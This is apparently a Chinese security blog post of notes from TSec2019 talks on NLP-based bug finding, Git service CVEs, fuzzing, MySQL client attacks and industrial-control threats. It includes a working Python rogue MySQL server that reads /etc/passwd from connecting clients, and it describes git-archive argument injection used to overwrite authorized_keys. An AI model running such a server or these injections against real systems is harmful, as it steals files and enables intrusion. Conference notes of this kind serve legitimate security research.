ble55ing的技术专栏 code analysis ,fuzzing technique and ctf

TSec2019 聆听笔记

2019-08-09
ble55ing


TSec2019 聆听笔记

参加了TSec2019的分享会,有一些思考和感悟,正好现在PPT也分享出来了,特地在此记下来。

从大会上可以看出学校和企业的主要不同,来自学校的分享以漏洞发现工具为主,如何通过特征来发现有漏洞的代码;来自企业人员的分享主要是实际的漏洞发现为主。二者都很有意思,也让我收获很大,其中的一些漏洞打算在接下来的一段时间里复现一下(最近挖的坑好像有点多了)。

文心雕“虫”—-利用自然语言理解技术发现内存破坏漏洞

作者开发了NLP-EYE一种工具,这是一个源码漏洞发现工具,用的是对函数名称的理解,用于解决当前的源码检测工具会漏报非标准库函数、无法识别间接跳转、第三方库函数、编译单元外函数定义、不同的内存管理方式的问题。目前的CPP检测工具:cppcheck,infer和CSA

识别并定位内存管理函数

这一工具分析函数名和参数,建立语料库,对函数名进行分词,比较,验证。如void *AcquireQuantumMemory(const size_t count,const size_t quantum) void* malloc( size_t size ); ,Acquire对应alloc,Memory对应m,count对应size。

主要分词难点在于缩写的使用、命名的风格和自然语言处理。解决是采用定制语料库的方式。wekipedia内容太复杂,customized corpus(太小了) stackoverflow:编程语言敏感,够大,比较好。分析返回值和参数,归一化为指针和数值两种类型

标记并跟踪内存的分配、释放、访问情况

采用clang 进行静态分析。

检测内存使用违规

是否存在可能的空指针解引用、Double free、UAF等漏洞

对于Git版本控制服务的通用攻击面探索

Git没有对横向的访问权限进行控制。针对Gitlay(Git gRPC service of GitLab)是git提供的服务。

这些是使用Ruby和Go,需要使用的AST生成器RuboCop(Ruby)和Guru(Co)

找到使用os/exec.Command的地方,看看能不能用

git-bundle

(CVE-2019- 6240),Git RPC executes git clone uploaded bundle file.

GitLab使用git-bundle解决项目的导入导出

这个漏洞可以实现水平方向上获取别人的代码

git-diff

(CVE 2019-9221)Read arbitrary file via git diff command

用于比较两个版本代码的不同

这个方法的使用为git diff sha1 sha2,但是在实际的使用过程中,这两个参数可以不必是sha值,如/etc/passwd 和/etc/hosts,那么就能够得到这些文件里的数据了

git-lfs

(CVE-2018-20144 & CVE-2018-20499)Read arbitrary file and SSRF

跟踪大文件的插件。

攻击过程是这样的:developer 发送git clone 给Bitbucket,Bitbucket回git pack file;Develop问while is file <sha>,Bitbucket回它在LFS store,然后Developer发GET .../<objectSHA>给LFS store。

tail -n 20 lfs-objects/sha256。。具体什么意思,不是很清楚,需要再看PPT

git- archive

(CVE 2019-12430) File overwritten to RCE via parameter injection

一个打包所有文件指令,存在命令注入,如果文件名是以–开头的,那么就会被认为是一个程序的参数而不是路径,这样存在了一个文件覆盖漏洞。用这个文件漏洞去覆盖authorize keys,就可以gets shell了。

为什么用tar:tar是一个打包协议,而不是压缩协议,所以能明文携带payload

作者点评: git 这种的工具的服务端或多或少会有服务器执行用户端命令的操作, 开发者可能缺少这方面安全意识(伪装git服务器的问题)

流敏感的模糊测试系统(待PPT补充)

AFL的插桩改进:

​ 将基本块分为三类进行插桩:

​ Fmul 可搜索到的多前驱基本块

​ Fhash: 没搜索到的多前驱基本块

​ Fsingle:单前驱的基本块

​ Fmul 是选择合适的xyz使得多前驱的路径不同,插入时计算,保证路径不重复的路径插桩方式。

我提出的关于插桩的问题:这种插桩方式的内存占用率大概多少; 多入度的基本块能否找到这样的xyz。

100M程序内存占用256K

Comprehensive analysis of the mysql client attack chain

mysql允许服务器端读取客户端有读权限的任意文件。

TCTF 2018 Final h4x0rs.club pt.3 Dragon Sector && Cykor 的非预期

无论用户端发任何请求,只要服务器返回想要读取某文件,而且该文件可读,就会给它传这个文件。

(这种情况还可能发生在在线文档、云服务中)

因此可以尝试在公网布置一个蜜罐,得到尝试连接者的文件。ARF能将泄露变成getchell。

然后就去尝试搞了一个,还真可以。

附上网传的一个伪造服务器

#coding=utf-8
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)

logging.info(content)
conn.close()

Sorry It’s Not Your Page

感觉可以复现一下啊

windows 分段式基本可以忽略,主要看分页式,不同程序的虚拟地址一样,实际地址不同;

每个进程独占用户空间,但共享内核空间。内核空间采用写时复制技术,确保数据安全。

物理页面混淆漏洞?CVE-2019-0892

会话空间是内核空间的一部分,同一会话的进程,同样虚拟地址为同一物理地址

这个漏洞可以发生在分配之前,可以先占位,可能导致UAF

解决思路:

使用错误的页表进行虚拟地址转换会导致物理页面混淆类漏洞

操作系统应当提供机制来判断是否可以安全的使用虚拟地址

开发人员应当认识到这类漏洞的存从而做出相应的处理

工控系统安全分析

分析思路:

入侵上位机 -> 劫持编程软件dll -> 注入OT载荷 -> 破坏离心机

接入内网 -> 注入加载器 -> 注入OT载荷 -> 破坏物理系统


上一篇 ISC2019 笔记

Content